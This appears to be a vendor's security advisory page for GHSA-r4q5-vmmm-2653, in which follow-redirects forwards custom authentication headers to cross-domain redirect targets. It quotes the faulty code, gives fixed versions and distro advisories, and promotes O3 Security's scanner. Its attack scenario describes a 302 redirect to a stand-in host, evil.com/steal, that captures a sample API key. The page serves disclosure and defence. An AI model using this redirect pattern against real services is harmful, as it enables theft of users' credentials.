GHSA-r4q5-vmmm-2653 — follow-redirects
Fix: follow-redirects/follow-redirects@844c4d3GHSA-r4q5-vmmm-2653 is a Information Exposure vulnerability in follow-redirects. A fix is available for follow-redirects — see the affected versions and patch details below.
follow-redirects leaks Custom Authentication Headers to Cross-Domain Redirect Targets
Exploitation Status
No confirmed exploitation observed yet
- CISA’s own triage has not observed active exploitation or public proof-of-concept code for this CVE as of its last assessment.
Exploitation and automatability from CISA’s SSVC triage for GHSA-r4q5-vmmm-2653.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
Real-World Exposure
How broadly this vulnerability is actually deployed: weekly install volume shows current usage, and reverse-dependency count shows how many other packages break if it stays unpatched.
follow-redirectsnpmDescription
Summary
When an HTTP request follows a cross-domain redirect (301/302/307/308), follow-redirects only strips authorization, proxy-authorization, and cookie headers (matched by regex at index.js:469-476). Any custom authentication header (e.g., X-API-Key, X-Auth-Token, Api-Key, Token) is forwarded verbatim to the redirect target.
Since follow-redirects is the redirect-handling dependency for axios (105K+ stars), this vulnerability affects the entire axios ecosystem.
Affected Code
index.js, lines 469-476:
if (redirectUrl.protocol !== currentUrlParts.protocol &&
redirectUrl.protocol !== "https:" ||
redirectUrl.host !== currentHost &&
!isSubdomain(redirectUrl.host, currentHost)) {
removeMatchingHeaders(/^(?:(?:proxy-)?authorization|cookie)$/i, this._options.headers);
}
The regex only matches authorization, proxy-authorization, and cookie. Custom headers like X-API-Key are not matched.
Attack Scenario
- App uses axios with custom auth header:
headers: { 'X-API-Key': 'sk-live-secret123' } - Server returns
302 Location: https://evil.com/steal - follow-redirects sends
X-API-Key: sk-live-secret123toevil.com - Attacker captures the API key
Impact
Any custom auth header set via axios leaks on cross-domain redirect. Extremely common pattern. Affects all axios users in Node.js.
Suggested Fix
Add a sensitiveHeaders option that users can extend, or strip ALL non-standard headers on cross-domain redirect.
Disclosure
Source code review, manually verified. Found 2026-03-20.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 📦npm | follow-redirects | all versions | 1.16.0npm install follow-redirects@1.16.0 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for follow-redirects, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update follow-redirects to 1.16.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-r4q5-vmmm-2653 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like GHSA-r4q5-vmmm-2653 can be triaged on real exposure rather than presence alone.
Tailored to GHSA-r4q5-vmmm-2653. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Fixing This On Your OS
If you run this on a Linux distribution, patch through your package manager against the distro's own security advisory below — it tracks the exact backported fix for your release, which can ship on a different timeline (and sometimes a different severity) than the upstream project.
This Important impact information disclosure vulnerability in the follow-redirects npm package allows custom authentication headers (such as X-API-Key or X-Auth-Token) to be forwarded verbatim when HTTP requests follow cross-domain redirects. Applications that pass sensitive authentication headers while using…
| Product | Fixed in | Advisory |
|---|---|---|
| Cryostat 4 on RHEL 9 | cryostat/cryostat-openshift-console-plugin-rhel9:4.2.0-9 | RHSA-2026:17789 |
| Cluster Observability Operator 1.5.0 | cluster-observability-operator/distributed-tracing-console-plugin-pf4-rhel9:1781116645 | RHSA-2026:26010 |
| multicluster engine for Kubernetes 2.1 | multicluster-engine/console-mce-rhel9:1780917531 | RHSA-2026:24536 |
| multicluster engine for Kubernetes 2.11 | multicluster-engine/console-mce-rhel9:1780910888 | RHSA-2026:25271 |
| multicluster engine for Kubernetes 2.6 | multicluster-engine/console-mce-rhel9:1778511348 | RHSA-2026:17657 |
| multicluster engine for Kubernetes 2.8 | multicluster-engine/console-mce-rhel9:1778383863 | RHSA-2026:17699 |
| multicluster engine for Kubernetes 2.9 | multicluster-engine/console-mce-rhel9:1778532610 | RHSA-2026:19109 |
| Network Observability (NETOBSERV) 1.11.0 | network-observability/network-observability-console-plugin-compat-rhel9:1778508956 | RHSA-2026:16874 |
Frequently Asked Questions
Is GHSA-r4q5-vmmm-2653 in your dependencies?
O3 Security finds GHSA-r4q5-vmmm-2653 across npm dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.